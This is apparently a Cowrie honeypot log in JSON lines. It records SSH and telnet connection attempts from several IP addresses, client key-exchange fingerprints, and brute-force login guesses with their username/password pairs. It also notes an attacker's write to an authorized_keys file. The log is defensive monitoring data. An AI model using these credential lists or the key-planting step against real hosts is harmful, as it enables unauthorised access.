{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.069486Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.072830Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":43990,"dst_ip":"159.203.135.109","dst_port":22,"session":"2faab3cb048a","protocol":"ssh","message":"New connection: 80.253.31.232:43990 (159.203.135.109:22) [session: 2faab3cb048a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.188531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.192751Z","src_ip":"80.253.31.232","session":"2faab3cb048a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.316663Z","src_ip":"80.253.31.232","session":"2faab3cb048a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:58.839539Z","src_ip":"80.253.31.232","session":"2faab3cb048a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:35:59.964544Z","src_ip":"80.253.31.232","session":"2faab3cb048a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":52204,"dst_ip":"159.203.135.109","dst_port":22,"session":"44ad7fc09170","protocol":"ssh","message":"New connection: 80.253.31.232:52204 (159.203.135.109:22) [session: 44ad7fc09170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.087519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.093402Z","src_ip":"80.253.31.232","session":"44ad7fc09170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.216060Z","src_ip":"80.253.31.232","session":"44ad7fc09170","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.735989Z","src_ip":"80.253.31.232","session":"44ad7fc09170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.858045Z","src_ip":"80.253.31.232","session":"f9f1fa11274d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:00.863919Z","src_ip":"80.253.31.232","session":"44ad7fc09170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60368,"dst_ip":"10.17.0.5","dst_port":23,"session":"50312372ad1d","protocol":"telnet","message":"New connection: 5.61.90.139:60368 (10.17.0.5:23) [session: 50312372ad1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:03.937094Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58300,"dst_ip":"159.203.135.109","dst_port":22,"session":"b438646142bb","protocol":"ssh","message":"New connection: 159.203.92.129:58300 (159.203.135.109:22) [session: b438646142bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:08.347588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:08.352042Z","src_ip":"159.203.92.129","session":"b438646142bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:08.356893Z","src_ip":"159.203.92.129","session":"b438646142bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"123456","message":"login attempt [airflow/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:08.369625Z","src_ip":"159.203.92.129","session":"b438646142bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:09.374329Z","src_ip":"159.203.92.129","session":"b438646142bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60376,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c06e853262","protocol":"telnet","message":"New connection: 5.61.90.139:60376 (10.17.0.5:23) [session: 61c06e853262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:11.641627Z"}
{"eventid":"cowrie.session.closed","duration":39.11308002471924,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:14.797847Z","src_ip":"5.61.90.139","session":"48b78bdf81d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.135786294937134,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:16.197470Z","src_ip":"5.61.90.139","session":"0916d48b6906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.43333411216736,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:17.861478Z","src_ip":"5.61.90.139","session":"3b0d1644a626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a5b0ca5025","protocol":"telnet","message":"New connection: 5.61.90.139:60386 (10.17.0.5:23) [session: e2a5b0ca5025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:23.221499Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6aafc4e11c","protocol":"telnet","message":"New connection: 5.61.90.139:60388 (10.17.0.5:23) [session: 4b6aafc4e11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:23.586821Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7e4c2878d9","protocol":"telnet","message":"New connection: 5.61.90.139:60390 (10.17.0.5:23) [session: ad7e4c2878d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:23.614563Z"}
{"eventid":"cowrie.session.closed","duration":40.210609912872314,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:23.752814Z","src_ip":"5.61.90.139","session":"21bd69cef2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.9990599155426,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:26.522158Z","src_ip":"5.61.90.139","session":"80f5bbaec2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60394,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9403b75a08","protocol":"telnet","message":"New connection: 5.61.90.139:60394 (10.17.0.5:23) [session: ba9403b75a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:27.822814Z"}
{"eventid":"cowrie.session.closed","duration":36.939351320266724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:32.770118Z","src_ip":"5.61.90.139","session":"b21c968794e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0176956653595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:34.342359Z","src_ip":"5.61.90.139","session":"663e5b535ac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":39380,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b6b7b2157a","protocol":"ssh","message":"New connection: 2.57.121.25:39380 (10.17.0.5:22) [session: 01b6b7b2157a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:36.117779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:36.122023Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04937672615051,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:36.217152Z","src_ip":"5.61.90.139","session":"65626256af8d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:36.227720Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"flipmode","message":"login attempt [user/flipmode] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:36.721741Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fist","message":"login attempt [user/fist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:37.829597Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fireman1","message":"login attempt [user/fireman1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:38.997193Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32217073440552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:39.314860Z","src_ip":"5.61.90.139","session":"b75f21eb2348","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"fine","message":"login attempt [user/fine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:40.105295Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60408,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8d71fcc7e3","protocol":"telnet","message":"New connection: 5.61.90.139:60408 (10.17.0.5:23) [session: 5a8d71fcc7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:40.507282Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f197d65e1fc1","protocol":"telnet","message":"New connection: 5.61.90.139:60410 (10.17.0.5:23) [session: f197d65e1fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:40.910579Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"ferrar","message":"login attempt [user/ferrar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:41.218589Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":50172,"dst_ip":"159.203.135.109","dst_port":22,"session":"149734cfc27c","protocol":"ssh","message":"New connection: 80.253.31.232:50172 (159.203.135.109:22) [session: 149734cfc27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:41.981607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:41.987086Z","src_ip":"80.253.31.232","session":"149734cfc27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:42.115295Z","src_ip":"80.253.31.232","session":"149734cfc27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:42.326740Z","src_ip":"2.57.121.25","session":"01b6b7b2157a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2016","message":"login attempt [root/admin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:42.660342Z","src_ip":"80.253.31.232","session":"149734cfc27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:43.791214Z","src_ip":"80.253.31.232","session":"149734cfc27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"c61af555fae6","protocol":"telnet","message":"New connection: 5.61.90.139:60414 (10.17.0.5:23) [session: c61af555fae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:44.120966Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60416,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca8adb88cac","protocol":"telnet","message":"New connection: 5.61.90.139:60416 (10.17.0.5:23) [session: 7ca8adb88cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:44.323126Z"}
{"eventid":"cowrie.session.closed","duration":40.87610459327698,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:44.813108Z","src_ip":"5.61.90.139","session":"50312372ad1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60422,"dst_ip":"10.17.0.5","dst_port":23,"session":"c088a669c714","protocol":"telnet","message":"New connection: 5.61.90.139:60422 (10.17.0.5:23) [session: c088a669c714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:48.370967Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60424,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d95afd32d94","protocol":"telnet","message":"New connection: 5.61.90.139:60424 (10.17.0.5:23) [session: 2d95afd32d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:48.565059Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.228.89.90","src_port":38543,"dst_ip":"159.203.135.109","dst_port":23,"session":"42995e8765f4","protocol":"telnet","message":"New connection: 125.228.89.90:38543 (159.203.135.109:23) [session: 42995e8765f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:49.241622Z"}
